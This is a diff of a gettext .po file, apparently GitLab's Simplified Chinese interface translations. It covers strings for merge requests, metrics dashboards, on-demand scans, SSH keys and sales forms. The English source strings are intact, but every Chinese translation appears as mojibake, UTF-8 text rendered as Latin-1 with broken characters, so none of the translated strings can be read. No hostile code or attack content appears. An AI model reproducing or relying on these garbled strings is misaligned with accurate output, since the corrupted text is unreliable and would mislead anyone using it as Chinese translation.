msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr "在全局ã€ç¾¤ç»„和项目级别é™åˆ¶é¡¹ç›®å¤§å°ã€‚ %{link_start}了解更多%{link_end}。"
@@ -20470,6 +20799,9 @@ msgstr "é™åˆ¶å¯ä»¥å‘é€åˆ°é¡¹ç›®çš„入站事件管ç†è­¦æŠ¥çš„æ•°é‡ã€‚"
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr "é™åˆ¶ç”¨æˆ·æ¯åˆ†é’Ÿå¯ä»¥é€šè¿‡ Web å’Œ API 请求创建的议题和å²è¯—çš„æ•°é‡ã€‚"
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr "é™åˆ¶å­˜å‚¨åœ¨Redis中的Sidekiq作业的大å°ã€‚"
@@ -20684,8 +21016,8 @@ msgstr "MD5"
msgid "MERGED"
msgstr "å·²åˆå¹¶"
-msgid "MR widget|Back to the Merge request"
-msgstr "返回åˆå¹¶è¯·æ±‚"
+msgid "MR widget|Back to the merge request"
+msgstr ""
msgid "MR widget|See your pipeline in action"
msgstr "查看您实际的æµæ°´çº¿"
@@ -20751,7 +21083,7 @@ msgid "Makes this issue confidential."
msgstr "将此议题设置为ç§å¯†."
msgid "Manage %{workspace} labels"
-msgstr ""
+msgstr "ç®¡ç† %{workspace} 标记"
msgid "Manage Web IDE features."
msgstr "ç®¡ç† Web IDE 功能。"
@@ -20765,8 +21097,8 @@ msgstr "管ç†å…¨éƒ¨é€šçŸ¥"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "管ç†å¯ä»¥å°†GitLab用作OAuthæ供程åºçš„应用程åºï¼Œä»¥åŠæ‚¨å·²æŽˆæƒä½¿ç”¨æ‚¨çš„å¸æˆ·çš„应用程åºã€‚"
-msgid "Manage applications that can use GitLab as an OAuth provider."
-msgstr "管ç†å¯ä»¥ä½¿ç”¨ GitLab 作为 OAuth æ供者的应用程åºã€‚"
+msgid "Manage applications that use GitLab as an OAuth provider."
+msgstr ""
msgid "Manage applications that you've authorized to use your account."
msgstr "管ç†æ‚¨æŽˆæƒä½¿ç”¨å¸æˆ·çš„应用程åºã€‚"
@@ -20883,7 +21215,7 @@ msgid "Marked For Deletion At - %{deletion_time}"
msgstr "标记删除于 - %{deletion_time}"
msgid "Marked as draft. Can only be merged when marked as ready."
-msgstr ""
+msgstr "标记为è‰ç¨¿ã€‚åªæœ‰åœ¨æ ‡è®°ä¸ºå°±ç»ªåŽæ‰èƒ½åˆå¹¶ã€‚"
msgid "Marked as ready. Merging is now allowed."
msgstr "标记为已准备好。现在å…许åˆå¹¶ã€‚"
@@ -20978,6 +21310,9 @@ msgstr "最多 20 个字符"
msgid "Maximum Conan package file size in bytes"
msgstr "最大Conan文件包大å°ï¼ˆå­—节)"
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr "最大Maven文件包大å°ï¼ˆå­—节)"
@@ -20996,6 +21331,9 @@ msgstr "最大用户数"
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr "个人访问令牌的最长有效期(天)"
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr "最大工件大å°"
@@ -21096,7 +21434,7 @@ msgid "Maximum number of %{name} (%{count}) exceeded"
msgstr "超过%{name}的最大数é‡(%{count})"
msgid "Maximum number of changes (branches or tags) in a single push for which webhooks and services trigger (default is 3)."
-msgstr ""
+msgstr "Webhook å’ŒæœåŠ¡è§¦å‘çš„å•æ¬¡æŽ¨é€ä¸­çš„最大更改数(分支或标签)(默认为 3)。"
msgid "Maximum number of comments exceeded"
msgstr "超出最大评论数"
@@ -21108,7 +21446,7 @@ msgid "Maximum number of projects."
msgstr "最大项目数é‡ã€‚"
msgid "Maximum number of requests per minute for each raw path (default is 300). Set to 0 to disable throttling."
-msgstr ""
+msgstr "æ¯ä¸ªåŽŸå§‹è·¯å¾„æ¯åˆ†é’Ÿçš„最大请求数(默认为 300)。设置为 0 以ç¦ç”¨èŠ‚æµã€‚"
msgid "Maximum number of unique IP addresses per user."
msgstr "æ¯ä¸ªç”¨æˆ·çš„最大唯一 IP 地å€æ•°ã€‚"
@@ -21203,9 +21541,6 @@ msgstr "æˆå‘˜è‡ªï¼š"
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr "%{member_name}邀请您使用GitLab"
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr "我邀请您加入GitLab"
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr "邀请加入%{project_or_group}%{project_or_group_name}"
@@ -21368,11 +21703,17 @@ msgstr "åˆå¹¶è¯·æ±‚å·²åˆå¹¶"
msgid "Merge automatically (%{strategy})"
msgstr "自动åˆå¹¶(%{strategy})"
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr "åˆå¹¶è¢«é˜»æ­¢ï¼šåˆšåˆšæ·»åŠ äº†æ–°çš„更改。"
msgid "Merge blocked: pipeline must succeed. It's waiting for a manual job to continue."
-msgstr ""
+msgstr "åˆå¹¶å·²é˜»æ­¢ï¼šæµæ°´çº¿å¿…é¡»æˆåŠŸã€‚正在等待手动作业继续。"
msgid "Merge blocked: the source branch must be rebased onto the target branch."
msgstr "åˆå¹¶å—阻:æºåˆ†æ”¯å¿…é¡»å˜åŸºï¼ˆrebase)到目标分支。"
@@ -21383,6 +21724,9 @@ msgstr "åˆå¹¶æ交SHA"
msgid "Merge commit message"
msgstr "åˆå¹¶æ交消æ¯"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "åˆå¹¶äº‹ä»¶"
@@ -21420,7 +21764,7 @@ msgid "Merge request events"
msgstr "åˆå¹¶è¯·æ±‚事件"
msgid "Merge request reports"
-msgstr ""
+msgstr "åˆå¹¶è¯·æ±‚报告"
msgid "Merge request was scheduled to merge after pipeline succeeds"
msgstr "åˆå¹¶è¯·æ±‚已安排在æµæ°´çº¿æˆåŠŸåŽåˆå¹¶"
@@ -21428,24 +21772,15 @@ msgstr "åˆå¹¶è¯·æ±‚已安排在æµæ°´çº¿æˆåŠŸåŽåˆå¹¶"
msgid "Merge requests"
msgstr "åˆå¹¶è¯·æ±‚"
-msgid "Merge requests I've created"
-msgstr "我创建的åˆå¹¶è¯·æ±‚"
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "åˆå¹¶è¯·æ±‚用于æ出对项目的更改并与他人进行讨论"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr "åˆå¹¶è¯·æ±‚在Geo次è¦èŠ‚点中为åªè¯»"
-
-msgid "Merge requests assigned to me"
-msgstr "指派给我的åˆå¹¶è¯·æ±‚"
-
-msgid "Merge requests that I'm a reviewer"
-msgstr "我作为审核者的åˆå¹¶è¯·æ±‚"
-
msgid "Merge the branch and fix any conflicts that come up"
msgstr "åˆå¹¶åˆ†æ”¯å¹¶è§£å†³å‡ºçŽ°çš„任何冲çª"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "当æµæ°´çº¿æˆåŠŸæ—¶åˆå¹¶"
@@ -21495,13 +21830,13 @@ msgid "MergeRequestAnalytics|Time to merge"
msgstr "åˆå¹¶æ—¶é—´"
msgid "MergeRequestApprovals|Define approval rules and settings to ensure %{link_start}separation of duties%{link_end} for new merge requests."
-msgstr ""
+msgstr "定义批准规则和设置,以确ä¿æ–°åˆå¹¶è¯·æ±‚çš„ %{link_start}èŒè´£åˆ†ç¦»%{link_end}。"
msgid "MergeRequestApprovals|Enforce %{link_start}separation of duties%{link_end} for all projects."
-msgstr ""
+msgstr "对所有项目强制执行 %{link_start}èŒè´£åˆ†ç¦»%{link_end}。"
msgid "MergeRequestApprovals|Enforce %{separationLinkStart}separation of duties%{separationLinkEnd} for all projects. %{learnLinkStart}Learn more.%{learnLinkEnd}"
-msgstr ""
+msgstr "对所有项目强制执行 %{separationLinkStart}èŒè´£åˆ†ç¦»%{separationLinkEnd}。%{learnLinkStart}了解更多。%{learnLinkEnd}"
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr "对%{selectStart}开始于%{selectEnd}到%{end}è¡Œå‘表评论"
@@ -21563,6 +21898,18 @@ msgstr "å¼€å¯æœ‰å…³æ交%{linkStart}%{commitDisplay}%{linkEnd}的主题"
msgid "MergeRequest|Approved by @%{username}"
msgstr "由 @%{username} 批准"
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr "比较%{target}和%{source}"
@@ -21660,28 +22007,28 @@ msgid "Metrics and profiling"
msgstr "指标与分æž"
msgid "MetricsDashboardAnnotation|Annotation can't belong to both a cluster and an environment at the same time"
-msgstr ""
+msgstr "标注ä¸èƒ½åŒæ—¶å±žäºŽä¸€ä¸ªé›†ç¾¤å’Œä¸€ä¸ªçŽ¯å¢ƒ"
msgid "MetricsDashboardAnnotation|Annotation has not been deleted"
-msgstr ""
+msgstr "标注未被删除"
msgid "MetricsDashboardAnnotation|Annotation must belong to a cluster or an environment"
-msgstr ""
+msgstr "标注必须属于一个集群或一个环境"
msgid "MetricsDashboardAnnotation|Dashboard with requested path can not be found"
-msgstr ""
+msgstr "找ä¸åˆ°è¯·æ±‚路径的仪表æ¿"
msgid "MetricsDashboardAnnotation|You are not authorized to create annotation for selected cluster"
-msgstr ""
+msgstr "您没有æƒé™ä¸ºæ‰€é€‰é›†ç¾¤åˆ›å»ºæ ‡æ³¨"
msgid "MetricsDashboardAnnotation|You are not authorized to create annotation for selected environment"
-msgstr ""
+msgstr "您没有æƒé™ä¸ºæ‰€é€‰çŽ¯å¢ƒåˆ›å»ºæ ‡æ³¨"
msgid "MetricsDashboardAnnotation|You are not authorized to delete this annotation"
-msgstr ""
+msgstr "您没有æƒé™åˆ é™¤æ­¤æ ‡æ³¨"
msgid "MetricsDashboardAnnotation|can't be before starting_at time"
-msgstr ""
+msgstr "ä¸èƒ½åœ¨ starting_at 时间之å‰"
msgid "MetricsSettings|Add a button to the metrics dashboard linking directly to your existing external dashboard."
msgstr "å‘指标仪表æ¿æ·»åŠ ä¸€ä¸ªæŒ‰é’®ï¼Œç›´æŽ¥é“¾æŽ¥åˆ°æ‚¨çš„现有外部仪表æ¿ã€‚"
@@ -21708,10 +22055,10 @@ msgid "MetricsSettings|User's local timezone"
msgstr "用户本地时区"
msgid "MetricsUsersStarredDashboards|Dashboard with requested path can not be found"
-msgstr ""
+msgstr "找ä¸åˆ°è¯·æ±‚路径的仪表æ¿"
msgid "MetricsUsersStarredDashboards|You are not authorized to add star to this dashboard"
-msgstr ""
+msgstr "您无æƒæ·»åŠ æ˜Ÿæ ‡åˆ°æ­¤ä»ªè¡¨æ¿"
msgid "Metrics|1. Define and preview panel"
msgstr "1. 定义和预览é¢æ¿"
@@ -22198,6 +22545,9 @@ msgstr "添加SSH密钥"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "ä¸å†æ˜¾ç¤º"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr "在您的个人资料中添加SSH密钥之å‰ï¼Œæ‚¨ä¸èƒ½é€šè¿‡SSHæ¥æ‹‰å–或推é€ä»“库。"
@@ -22385,7 +22735,7 @@ msgid "My company or team"
msgstr "我的公å¸æˆ–团队"
msgid "My topic"
-msgstr ""
+msgstr "我的主题"
msgid "My-Reaction"
msgstr "我的å应"
@@ -22448,9 +22798,6 @@ msgstr "您已ç»è¾¾åˆ°äº†ä¸€ä¸ªæˆ–多个项目的 %{free_size_limit} çš„å…è´¹å
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "推é€åˆ°æ‚¨çš„仓库,创建æµæ°´çº¿ï¼Œåˆ›å»ºè®®é¢˜æˆ–添加评论。如需å‡å°‘存储使用,请删除未使用的仓库,产物,wiki,议题和æµæ°´çº¿ã€‚"
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr "推é€åˆ°æ‚¨çš„仓库ã€åˆ›å»ºæµæ°´çº¿ã€åˆ›å»ºè®®é¢˜æˆ–添加评论。è¦å‡å°‘存储容é‡ï¼Œè¯·åˆ é™¤æœªä½¿ç”¨çš„仓库ã€äº§ç‰©ã€wikiã€è®®é¢˜å’Œæµæ°´çº¿ã€‚è¦äº†è§£æœ‰å…³å‡å°‘存储容é‡çš„更多信æ¯ï¼Œè¯·è®¿é—®æˆ‘们的文档。"
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr "待定用户必须ç»è¿‡ç¾¤ç»„所有者的审查和批准。了解有关 %{user_caps_link_start}用户上é™%{link_end} å’Œ %{users_pending_approval_link_start}用户等待批准%{link_end}。"
@@ -22503,7 +22850,7 @@ msgid "Network"
msgstr "网络"
msgid "Network:"
-msgstr ""
+msgstr "网络:"
msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
msgstr "%{ifLabelStart}如果%{ifLabelEnd}%{ruleType}%{isLabelStart}为%{isLabelEnd}%{ruleDirection}%{ruleSelector}%{directionLabelStart}且由%{directionLabelEnd}%{rule}%{portsLabelStart}在%{portsLabelEnd} %{ports}传入。"
@@ -22601,9 +22948,6 @@ msgstr "网络æµé‡"
msgid "NetworkPolicies|None selected"
msgstr "未选择"
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr "请%{installLinkStart}安装%{installLinkEnd}并%{configureLinkStart}为该项目é…ç½® Kubernetes 代ç†%{configureLinkEnd}以å¯ç”¨è­¦æŠ¥ã€‚"
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr "å·²æˆåŠŸæ›´æ”¹ç­–ç•¥%{policyName}"
@@ -22628,6 +22972,9 @@ msgstr "出现错误,未能更新策略"
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr "出现错误,无法获å–ç­–ç•¥"
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr "ä¸åŒ¹é…任何规则的æµé‡å°†è¢«é˜»æ­¢ã€‚"
@@ -22830,6 +23177,9 @@ msgstr "新建åˆå¹¶è¯·æ±‚"
msgid "New milestone"
msgstr "新里程碑"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "新密ç "
@@ -22866,6 +23216,9 @@ msgstr "已生æˆæ–°çš„Runner注册令牌ï¼"
msgid "New schedule"
msgstr "新建计划"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "新建代ç ç‰‡æ®µ"
@@ -22879,7 +23232,7 @@ msgid "New test case"
msgstr "新测试用例"
msgid "New topic"
-msgstr ""
+msgstr "新主题"
msgid "New users set to external"
msgstr "新用户设置为外部"
@@ -22996,7 +23349,7 @@ msgid "No compliance frameworks are in use. Create one from the %{link} section
msgstr "没有使用中的åˆè§„框架。从群组设置中的 %{link} 部分创建一个。"
msgid "No confirmation email received? Check your spam folder or %{request_link_start}request new confirmation email%{request_link_end}."
-msgstr ""
+msgstr "没有收到确认邮件?检查您的垃圾邮件文件夹或 %{request_link_start}请求新的确认邮件%{request_link_end}。"
msgid "No connection could be made to a Gitaly Server, please check your logs!"
msgstr "无法连接到GitalyæœåŠ¡å™¨ï¼Œè¯·æ£€æŸ¥ç›¸å…³æ—¥å¿—ï¼"
@@ -23011,7 +23364,7 @@ msgid "No contributions were found"
msgstr "未找到任何贡献者"
msgid "No credit card data for matching"
-msgstr ""
+msgstr "没有用于匹é…的信用å¡æ•°æ®"
msgid "No credit card required."
msgstr "无需信用å¡ã€‚"
@@ -23061,6 +23414,9 @@ msgstr "未找到文件。"
msgid "No forks are available to you."
msgstr "没有您å¯ç”¨çš„派生。"
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr "无分组"
@@ -23109,9 +23465,15 @@ msgstr "没有与“%{query}â€åŒ¹é…的结果"
msgid "No matching results..."
msgstr "无匹é…结果..."
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr "未找到æˆå‘˜"
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "找ä¸åˆ°åˆå¹¶è¯·æ±‚"
@@ -23154,6 +23516,9 @@ msgstr "未找到é…置文件"
msgid "No projects found"
msgstr "未找到项目"
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "无公开群组"
@@ -23175,6 +23540,9 @@ msgstr "未找到Runner"
msgid "No schedules"
msgstr "无计划"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr "没有与æ供的å‚数匹é…的严é‡ç¨‹åº¦"
@@ -23209,7 +23577,7 @@ msgid "No vulnerabilities present"
msgstr "æ— æ¼æ´ž"
msgid "No webhook events"
-msgstr ""
+msgstr "没有 webhook 事件"
msgid "No webhooks found, add one in the form above."
msgstr "没有找到Webhook,请通过上é¢è¡¨å•æ·»åŠ ã€‚"
@@ -23269,6 +23637,9 @@ msgstr "对å—ä¿æŠ¤çš„分支ä¸å¯ç”¨"
msgid "Not confidential"
msgstr "éžç§å¯†"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "未找到。"
@@ -23480,8 +23851,8 @@ msgstr "现在,个性化您的 GitLab 体验"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr "Nuget元数æ®å¿…须至少设置了license_url,project_url或icon_url"
-msgid "Number of Elasticsearch shards and replicas (per index)"
-msgstr "Elasticsearch 分片和副本的数é‡ï¼ˆæ¯ä¸ªç´¢å¼•ï¼‰"
+msgid "Number of Elasticsearch shards and replicas per index:"
+msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
msgstr "%{code_start}git gc%{code_end} 之åŽçš„ Git 推é€æ¬¡æ•°ã€‚"
@@ -23502,7 +23873,7 @@ msgid "Number of commits per MR"
msgstr "æ¯ä¸ªMR包å«çš„æ交数é‡"
msgid "Number of employees"
-msgstr ""
+msgstr "员工人数"
msgid "Number of events"
msgstr "事件数é‡"
@@ -23636,8 +24007,8 @@ msgstr "编辑计划失败"
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr "对于这个循环,待命计划将是:"
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
-msgstr "项目 %{project} 的 On-call 计划 %{obstacle}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
+msgstr ""
msgid "OnCallSchedules|On-call schedules"
msgstr "待命计划"
@@ -23720,6 +24091,12 @@ msgstr "您目å‰å±žäºŽï¼š"
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr "您的日程已æˆåŠŸåˆ›å»ºã€‚è¦å°†å•ä¸ªç”¨æˆ·æ·»åŠ åˆ°æ­¤è®¡åˆ’,请使用添加轮æ¢æŒ‰é’®ã€‚è¦ä¸ºæ­¤è®¡åˆ’å¯ç”¨é€šçŸ¥ï¼Œæ‚¨è¿˜å¿…须创建 %{linkStart}å‡çº§ç­–ç•¥%{linkEnd}。"
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr "无法获å–扫æ工具é…置文件。请刷新页é¢æˆ–ç¨åŽå†è¯•ã€‚"
@@ -23757,7 +24134,7 @@ msgid "OnDemandScans|My daily scan"
msgstr "我的æ¯æ—¥æ‰«æ"
msgid "OnDemandScans|New DAST scan"
-msgstr ""
+msgstr "创建新的 DAST 扫æ"
msgid "OnDemandScans|New on-demand DAST scan"
msgstr "新建按需扫æDAST"
@@ -23772,10 +24149,10 @@ msgid "OnDemandScans|On-demand Scans"
msgstr "按需扫æ"
msgid "OnDemandScans|On-demand scans"
-msgstr ""
+msgstr "按需扫æ"
msgid "OnDemandScans|On-demand scans run outside of DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}."
-msgstr ""
+msgstr "按需扫æ在DevOps周期之外è¿è¡Œï¼Œå¹¶åœ¨æ‚¨çš„项目中å‘现æ¼æ´žã€‚%{learnMoreLinkStart}了解更多%{learnMoreLinkEnd}。"
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr "按需扫æ在DevOps周期之外è¿è¡Œï¼Œå¹¶åœ¨æ‚¨çš„项目中å‘现æ¼æ´žã€‚%{learnMoreLinkStart}了解更多%{learnMoreLinkEnd}"
@@ -23790,7 +24167,7 @@ msgid "OnDemandScans|Scan name"
msgstr "扫æå称"
msgid "OnDemandScans|Scan type"
-msgstr ""
+msgstr "扫æ类型"
msgid "OnDemandScans|Scanner profile"
msgstr "扫æ工具é…ç½®"
@@ -23808,6 +24185,12 @@ msgid "OnDemandScans|Start time"
msgstr "开始时间"
msgid "OnDemandScans|Target"
+msgstr "目标"
+
+msgid "OnDemandScans|There are no finished scans."
+msgstr ""
+
+msgid "OnDemandScans|There are no running scans."
msgstr ""
msgid "OnDemandScans|Use existing scanner profile"
@@ -23819,12 +24202,6 @@ msgstr "使用现有的站点é…置文件"
msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr "您必须在项目中创建仓库æ‰èƒ½è¿è¡ŒæŒ‰éœ€æ‰«æ。"
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
-msgstr "一旦项目被永久删除,%{strongStart}无法æ¢å¤%{strongEnd}。执行永久删除项目æ“作,将%{strongStart}ç«‹å³åˆ é™¤%{strongEnd}仓库和%{strongStart}所有关è”资æº%{strongEnd},包括议题ã€åˆå¹¶è¯·æ±‚等。"
-
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
-msgstr "一旦项目被永久删除,无法æ¢å¤ã€‚您将失去项目中的仓库和所有关è”资æºï¼ŒåŒ…括议题ã€åˆå¹¶è¯·æ±‚等。"
-
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "仓库导入åŽï¼Œå¯ä»¥é€šè¿‡SSH进行镜åƒã€‚点击%{link_start}此处%{link_end}了解更多."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] "其余%d项"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "您无æƒè®¿é—®çš„一个或多个群组。"
@@ -23880,6 +24263,9 @@ msgstr "åªæœ‰ç®¡ç†å‘˜å¯ä»¥åˆ é™¤é¡¹ç›®"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr "仅在å¯ç”¨è¿œç¨‹å­˜å‚¨æ—¶æœ‰æ•ˆã€‚设置为 0 表示没有大å°é™åˆ¶ã€‚"
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr "仅包括您当å‰è®¢é˜…级别的新功能。"
@@ -23901,6 +24287,9 @@ msgstr "åªæœ‰åœ¨æ——舰版许å¯ä¸‹åˆ›å»ºçš„项目æ‰èƒ½åœ¨å®‰å…¨ä»ªè¡¨æ¿ä¸­ä½¿
msgid "Only reCAPTCHA v2 is supported:"
msgstr "仅支æŒreCAPTCHA v2:"
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr "åªæœ‰æ¥è‡ªæŒ‡å®š IP 地å€èŒƒå›´çš„用户æ‰èƒ½è®¿é—®æ­¤ç¾¤ç»„,包括所有å­ç»„ã€é¡¹ç›®å’Œ Git 仓库。"
@@ -23911,7 +24300,7 @@ msgid "Only ‘Reporter’ roles and above on tiers Premium and above can see Pr
msgstr "åªæœ‰åœ¨ä¸“业版åŠä»¥ä¸Šç‰ˆæœ¬ä¸­ï¼Œâ€œæŠ¥å‘Šè€…â€åŠä»¥ä¸Šè§’色æ‰èƒ½çœ‹åˆ°ç”Ÿäº§åŠ›åˆ†æžã€‚"
msgid "Oops, are you sure?"
-msgstr "å•Š~~, 确定å—?"
+msgstr "您确定å—?"
msgid "Open"
msgstr "开放中"
@@ -23919,8 +24308,8 @@ msgstr "开放中"
msgid "Open Selection"
msgstr "打开所选项"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
-msgstr "打开 CLI 并连接到您想è¦å®‰è£…代ç†çš„集群。使用此安装方法æ¥æœ€å°åŒ–任何手动步骤。令牌已ç»åŒ…å«åœ¨å‘½ä»¤ä¸­ã€‚"
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgstr ""
msgid "Open epics"
msgstr "打开å²è¯—"
@@ -23929,7 +24318,7 @@ msgid "Open errors"
msgstr "打开错误"
msgid "Open in Web IDE"
-msgstr ""
+msgstr "在Web IDE中打开"
msgid "Open in file view"
msgstr "在文件视图中打开"
@@ -24007,7 +24396,7 @@ msgid "Optional parameter \"variables\" must be a Hash. Ex: variables[key1]=valu
msgstr "å¯é€‰å‚数“variablesâ€å¿…须是哈希。例如:variables[key1]=value1"
msgid "Optional."
-msgstr ""
+msgstr "å¯é€‰çš„。"
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "您å¯ä»¥é€‰æ‹© %{link_to_customize} FogBugz的电å­é‚®ä»¶åœ°å€å’Œç”¨æˆ·å如何被导入到GitLab。"
@@ -24019,7 +24408,7 @@ msgid "Or you can choose one of the suggested colors below"
msgstr "或者您å¯ä»¥é€‰æ‹©ä¸‹é¢çš„建议颜色之一"
msgid "Organizations"
-msgstr ""
+msgstr "组织"
msgid "Orphaned member"
msgstr "孤儿æˆå‘˜"
@@ -24094,31 +24483,31 @@ msgid "PQL|An error occurred while sending hand raise lead."
msgstr ""
msgid "PQL|By providing my contact information, I agree GitLab may contact me via email about its product, services and events. You may opt-out at any time by unsubscribing in emails or visiting our communication preference center."
-msgstr ""
+msgstr "通过æ供我的è”系信æ¯ï¼Œæˆ‘åŒæ„ GitLab å¯ä»¥é€šè¿‡ç”µå­é‚®ä»¶è”系我有关它的产å“ã€æœåŠ¡å’Œäº‹ä»¶ã€‚ 您å¯ä»¥é€šè¿‡ç”µå­é‚®ä»¶æˆ–访问我们的通讯首选项中心éšæ—¶å–消订阅。"
msgid "PQL|Cancel"
-msgstr ""
+msgstr "å–消"
msgid "PQL|Contact our Sales team"
-msgstr ""
+msgstr "è”系我们的销售团队"
msgid "PQL|Contact sales"
-msgstr ""
+msgstr "è”系销售"
msgid "PQL|Hello %{userName}. Before putting you in touch with our sales team, we would like you to verify and complete the information below."
-msgstr ""
+msgstr "您好 %{userName}。在与我们的销售团队è”系之å‰ï¼Œæˆ‘们希望您验è¯å¹¶å®Œæˆä¸‹é¢çš„ä¿¡æ¯ã€‚"
msgid "PQL|Message for the Sales team (optional)"
-msgstr ""
+msgstr "给销售团队的消æ¯ï¼ˆå¯é€‰ï¼‰"
msgid "PQL|Please select a city or state"
-msgstr ""
+msgstr "请选择城市或州"
msgid "PQL|Submit information"
-msgstr ""
+msgstr "æ交信æ¯"
msgid "PQL|Thank you for reaching out! Our sales team will get back to you soon."
-msgstr ""
+msgstr "感谢您的è”ç³»ï¼æˆ‘们的销售团队将很快与您è”系。"
msgid "Package Registry"
msgstr "软件包注册表"
@@ -24159,6 +24548,9 @@ msgstr "包类型必须是Helm"
msgid "Package type must be Maven"
